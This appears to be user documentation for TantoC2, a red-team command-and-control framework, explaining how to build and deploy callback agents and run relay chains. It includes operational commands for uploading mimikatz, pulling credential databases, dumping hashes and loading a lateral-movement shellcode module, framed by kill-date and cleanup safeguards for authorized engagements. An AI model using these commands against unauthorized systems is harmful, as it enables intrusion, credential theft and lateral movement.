Agent Management

Agent Lifecycle

#

1
2
3

Active  →  Dormant  →  Dead
  ↓                      ↓
Killed  ←──────────────────

Dormant does not mean dead. Laptops sleep, VPNs drop, and hosts reboot. Wait for the agent to recover before assuming it is gone.

Building Agents

#

Show Available Packages

#

1

tantoc2[eng]> agents generate

This lists available agent packages (e.g., dev_agent, shinobi) and active listeners.

Create a Build

#

1
2
3
4
5

tantoc2[eng]> agents generate <package> \
    --listener <listener-name>[:<external-ip>] \
    --kill-date 2026-12-31 \
    --interval 60 --jitter 10 \
    --name initial-beacon

Kill date is mandatory. This is a safety control. Always set a kill date appropriate to the engagement timeline.

Relay Agent as Listener

#

To build an agent that calls back through a relay agent instead of directly to the teamserver:

1
2
3

tantoc2[eng]> agents generate dev_agent \
    --listener RELAY-DMZ:10.0.1.5 \
    --kill-date 2026-12-31

The teamserver resolves RELAY-DMZ as an agent hostname and uses its relay port and internal IPs as the callback address.

Download the Build

#

1
2

tantoc2[eng]> agents builds
tantoc2[eng]> agents builds download initial-beacon --output /tmp/initial-beacon.bin

Web UI: Builds page > download icon.

Deploying Agents

#

Transfer the binary to the target host and execute it. The exact delivery mechanism depends on your initial access method.

Development agent (for testing):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

# Beacon mode (default)
tantoc2-dev-agent --server http://teamserver:8080 --interval 5 --jitter 10

# Session mode (persistent connection, ~0.5s response time)
tantoc2-dev-agent --server http://teamserver:4444 --mode session

# With fallback URLs
tantoc2-dev-agent --server http://primary:8080 \
    --fallback http://backup:8080 \
    --interval 60

For native agents (Shinobi and others), simply execute the stamped binary. No arguments needed — all configuration is baked in at build time.

Registration

#

On first contact, the agent:

1. Sends a registration request over the configured transport
2. The teamserver performs RSA-2048 key exchange (ECDH for the session key)
3. All subsequent comms use AES-256-GCM with the negotiated session key
4. The agent appears in agents list with status active

The Agent Shell

#

Enter an interactive shell for a specific agent:

1
2

tantoc2[eng]> agents use WORKSTATION-01
WORKSTATION-01:a1b2c3d4>

Blocking vs Background Tasks

#

By default, commands block until the result arrives:

1
2
3

WORKSTATION-01:a1b2c3d4> whoami
[waiting... beacon in ~45s]
CORP\alice

For beacon agents, blocking means waiting for the next check-in. Session agents respond in ~0.5 seconds.

Run in the background with &:

1
2
3
4

WORKSTATION-01:a1b2c3d4> survey &
[bg:1] survey (task abc12345...)
WORKSTATION-01:a1b2c3d4> tasks          # see pending background tasks
WORKSTATION-01:a1b2c3d4> results 1      # fetch result when ready

Press Ctrl+C during any blocking wait to background the current task.

Multi-Task Execution

#

1

WORKSTATION-01:a1b2c3d4> whoami ;; hostname ;; ps

All three tasks are submitted before any blocking begins. They run concurrently on the agent. Results are displayed in submission order.

Use ;; (double semicolon) as the separator — single semicolons appear inside shell commands passed to exec and would be ambiguous.

Available Built-Ins

#

Run capabilities to see the full list of built-in commands for your specific agent. Common built-ins:

1
2
3
4
5
6
7
8
9

WORKSTATION-01:a1b2c3d4> survey
WORKSTATION-01:a1b2c3d4> whoami
WORKSTATION-01:a1b2c3d4> ls /tmp
WORKSTATION-01:a1b2c3d4> ls C:\Users\alice\Documents
WORKSTATION-01:a1b2c3d4> cat /etc/passwd
WORKSTATION-01:a1b2c3d4> ps
WORKSTATION-01:a1b2c3d4> netstat
WORKSTATION-01:a1b2c3d4> env
WORKSTATION-01:a1b2c3d4> exec whoami /all

The ls command results are cached for remote path tab-completion — no extra C2 traffic.

Running Local Commands

#

From within an agent shell:

1
2

WORKSTATION-01:a1b2c3d4> !ls /tmp
WORKSTATION-01:a1b2c3d4> !cat notes.txt

File Transfers

#

Upload (local to agent)

#

1

WORKSTATION-01:a1b2c3d4> upload /opt/tools/mimikatz.exe C:\Windows\Temp\m.exe

Tab-complete works on the local path.

Download (agent to teamserver)

#

1

WORKSTATION-01:a1b2c3d4> download C:\Users\alice\secrets.kdbx

The file is transferred to the teamserver. A collection request is created if you are a collector-role user.

Retrieve a Downloaded File

#

From the global shell or another agent shell:

1
2

tantoc2[eng]> files list WORKSTATION-01
tantoc2[eng]> files fetch WORKSTATION-01 <transfer-id> /local/output/secrets.kdbx

All transfers include SHA-256 hash verification. The hash_verified field in files list shows whether the transfer was intact.

Module Loading

#

Modules are compiled payloads loaded into a running agent. The agent decrypts and executes them.

Find Compatible Modules

#

1
2

WORKSTATION-01:a1b2c3d4> modules list            # all compatible modules
WORKSTATION-01:a1b2c3d4> modules info hashdump   # full details for one module

Compatibility is determined by the agent’s declared module_formats and the target platform/architecture.

Load a Module (Managed Mode)

#

1
2
3
4
5

WORKSTATION-01:a1b2c3d4> load hashdump py
[waiting]
Module loaded: hashdump (id: mod-abc123)

WORKSTATION-01:a1b2c3d4> hashdump

In managed mode, the module runs inside the agent’s context and results flow back through the agent’s C2 channel.

Load a Module (Daemonized Mode)

#

1

WORKSTATION-01:a1b2c3d4> load lateral_mover shellcode --daemonize

In daemonized mode, the payload runs independently. If the module registers a new agent with the teamserver, that agent appears in agents list as a new entry (typically with RELAY-DMZ as the parent in the topology).

Unload a Module

#

1
2
3
4

WORKSTATION-01:a1b2c3d4> loaded
  mod-abc123  hashdump  (py, managed, loaded 2m ago)

WORKSTATION-01:a1b2c3d4> unload mod-abc123

Unloading sends a clean shutdown signal to the managed module. Daemonized modules cannot be unloaded this way — they need to be killed separately.

P2P Relay Chains

#

TantoC2 supports multi-hop P2P relay chains. Interior agents (on segmented networks) forward traffic through a relay agent that has direct connectivity to the teamserver.

How Relays Work

#

• The relay agent listens on a relay port (configured at agent start with --relay-port)
• Interior agents are built with the relay agent as their callback target
• The teamserver auto-discovers the topology from forwarded messages
• Traffic is end-to-end encrypted — the relay cannot read interior agent messages

View the Topology

#

1
2
3
4
5
6

tantoc2[eng]> agents topology
Teamserver
├── RELAY-DMZ:a1b2c3d4 (direct)
│   ├── SRV-01:e5f6g7h8 (active)
│   └── DB-01:i9j0k1l2 (active)
└── WS-01:m3n4o5p6 (direct)

View a Relay Chain

#

1
2

tantoc2[eng]> agents chain e5f6g7h8
Chain: e5f6g7h8... -> a1b2c3d4... -> Teamserver

Building an Interior Agent

#

An interior agent is built using a relay-capable agent as the listener target:

1
2
3
4

tantoc2[eng]> agents generate dev_agent \
    --listener RELAY-DMZ:10.0.1.5 \
    --kill-date 2026-12-31 \
    --interval 30

Web UI: Builds page — select the relay agent from the listener dropdown.

Relay Constraints

#

• Session agents cannot relay through beacon agents (timing mismatch)
• The relay must be online when interior agents check in
• Relay topology is informational — the teamserver tracks it but does not re-route traffic

Agent Groups

#

Groups let you send the same command to multiple agents at once.

1
2
3
4

tantoc2[eng]> agents group create webservers id1 id2 id3
tantoc2[eng]> agents group list
tantoc2[eng]> agents group use webservers
webservers[3]> whoami

Commands are dispatched to all group members. Results are displayed per-agent.

Requirements:

• All agents in a group must have the same capability set (same built-in commands and module formats)
• Groups are session-scoped — they are not persisted between CLI sessions

Beacon Configuration

#

Adjust a running agent’s check-in frequency without rebuilding:

1

WORKSTATION-01:a1b2c3d4> beacon_config {"interval": 30, "jitter": 10}

Takes effect on the next check-in. The configuration is also updated in the teamserver’s database.

Killing and Cleanup

#

Kill an Agent

#

1
2

tantoc2[eng]> agents kill WORKSTATION-01
Kill command queued for agent WORKSTATION-01:a1b2c3d4

The kill task is queued. The agent executes it on the next check-in and terminates. The agent’s status changes to killed in the database.

For a running beacon: wait up to one full beacon interval for the kill to take effect.

Web UI: Agent Detail page > Kill button.

Clean Up the Target

#

After the agent terminates, remove any artifacts:

• Binary file on disk
• Persistence mechanisms you installed (registry keys, scheduled tasks, etc.)
• Any uploaded tools that are no longer needed

The teamserver does not perform cleanup on the target — that is your responsibility.

Archive the Engagement

#

When the engagement is complete, archive it for long-term storage:

Web UI: Engagements > archive icon.

API:

1
2
3

curl -X POST https://teamserver:8443/api/v1/engagements/<id>/archive \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"passphrase": "your-passphrase", "output_path": "/backups/eng.archive"}'

Quick Reference

#

Related Pages

#

• Engagement Workflow — end-to-end usage
• CLI Reference — complete command syntax
• Agent Modules — developer reference for modules